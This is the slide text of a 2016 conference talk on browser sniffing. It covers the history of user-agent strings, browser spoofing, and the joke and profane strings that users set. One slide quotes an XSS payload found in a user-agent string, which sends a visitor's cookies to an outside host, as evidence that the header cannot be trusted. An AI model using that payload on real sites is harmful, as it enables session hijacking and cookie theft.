A presentation at Fronteers Jam Sessions 2016 in in Amsterdam, Netherlands by Niels Leenheer
the 8 minute version that contains none of that boring shit and just the jokes and weird stuff s e i l y d o b y er v e fronteers conference — jam sessions, october 6th 2016
: g n i n war this talk is full of lies and deception
… s ye this talk is about browser sniffing
? y h w
browser sniffing is dirty
you should use feature detection
: s er op l e v e D b e W Dear d i p u t S s i g n i f f i n S er s Brow http://www.webstandards.org/2002/12/20/dear-web-developers-browser-sniffing-is-stupid/
er s ow r B y h W s on s a e 5R s k n i t S g n i f f i n S https://www.sitepoint.com/why-browser-sniffing-stinks/
everybody uses browser sniffing
… y h w is browser sniffing so difficult?
things started out simple
Mosaic Mosaic/0.9
Netscape Navigator Mozilla/1.0 (Win3.1) code name of the browser
but it quickly started to get complicated
Internet Explorer Mozilla/1.0 (compatible; MSIE 1.0; Windows 95) compatible with Netscape Navigator 1.0
Opera Opera/10.00 (Windows NT 5.1; U; en) Presto/2.2.0
Opera Opera/9.8 (Windows NT 5.1; U; en) Presto/2.2.0 Version/10.00 real version of the browser
Firefox Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1) Gecko/20090624 Firefox/3.5 build date of the rendering engine
Firefox Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 build date is no longer updated
Firefox Mozilla/5.0 (Windows NT 6.0; rv:16.0) Gecko/16.0 Firefox/16.0
and it gets worse…
Safari Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.3 Safari/525.28.3
Chrome Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/525.27.1 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/525.28.3
Opera Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.180
Internet Explorer Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
Edge Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/525.28.3 Edge/12.10162
and those were all relatively normal user-agent strings
sometimes browsers lie to hide their true identity
Opera Opera/9.80 (X11; Linux zbov; U; en) Presto/2.9.201 Version/11.50
Opera Mobile (desktop mode) ROT 13 encrypted “mobi“ Opera/9.80 (X11; Linux zbov; U; en) Presto/2.9.201 Version/11.50
Internet Explorer Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)
Internet Explorer (compatibility view) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0) Trident 5 means it’s Internet Explorer 9
and it is possible to change the user-agent string yourself
XSS attacks
<script>alert("My Little Pony");</script> <script language="JavaScript">document.location= "http://www.max1094.18.lc/admin/cookies.php?c=" + document.cookie;</script> <img src="http://bravo.trollab.org/mylittlepony.png" alt="My Little Pony">XSS attacks
funny people (╯°□°）╯︵ ┻━┻ Mozilla/10.0 (compatible; MSIE 10.0; CP/M; 8-bit)
angry people
angry people FuckZilla/666.0 (Gavnoid; Debile; rv:123.0) FuckYou/123.0 FuckingFox/321.0 Opera/9.80 (Windows NT 6.1; U; FuckYou; xx) Presto/2.10.229 Version/11.62 Seriously, Go fuck yourself W3C standards are important. Stop fucking obsessing over user-agent already.
1.000.000 unique useragent strings
82 x fuck 1.000.000 unique useragent strings
82 x fuck 1.000.000 unique useragent strings 6 x ass
82 x fuck 1.000.000 unique useragent strings 6 x ass 3 x vagina
82 x fuck 1.000.000 unique useragent strings 6 x ass 3 x vagina 108 x sex
82 x fuck 1.000.000 unique useragent strings 6 x ass 10 x shit 3 x vagina 108 x sex
82 x fuck 9 x dick 1.000.000 unique useragent strings 6 x ass 10 x shit 3 x vagina 108 x sex
4 x balls 82 x fuck 9 x dick 1.000.000 unique useragent strings 6 x ass 10 x shit 3 x vagina 108 x sex
user-agent strings cannot be trusted!
s e i l y d o b y er v e
er v e n d l ou h s you use browser sniffing for controlling access to your website
er v e n d l ou h s you use browser sniffing for determining browser capabilities
er v e n d l ou h s you build your own browser sniffing library
“If you tell a big enough lie and tell it frequently enough, it will be believed” — Ghandi
“If you tell a big enough lie and tell it frequently enough, it will be believed” — Ghandi
“If you tell a big enough lie and tell it frequently enough, it will be believed” — Adolf Hitler
thank you!
thank you!
This is talk about browser sniffing. And yes, I do realise it is 2016. I know browser sniffing is ugly and we should all be using feature detection. But a quick search on Github still shows millions of lines of code referring to user agents strings. So this message clearly hasn’t landed yet. But why is browser sniffing a bad choice? This talk will dive into history and show the origin of the user agent string and the hidden battle between browser makers and web developers. It will show its simple beginnings and the horrible monstrosity it has become.
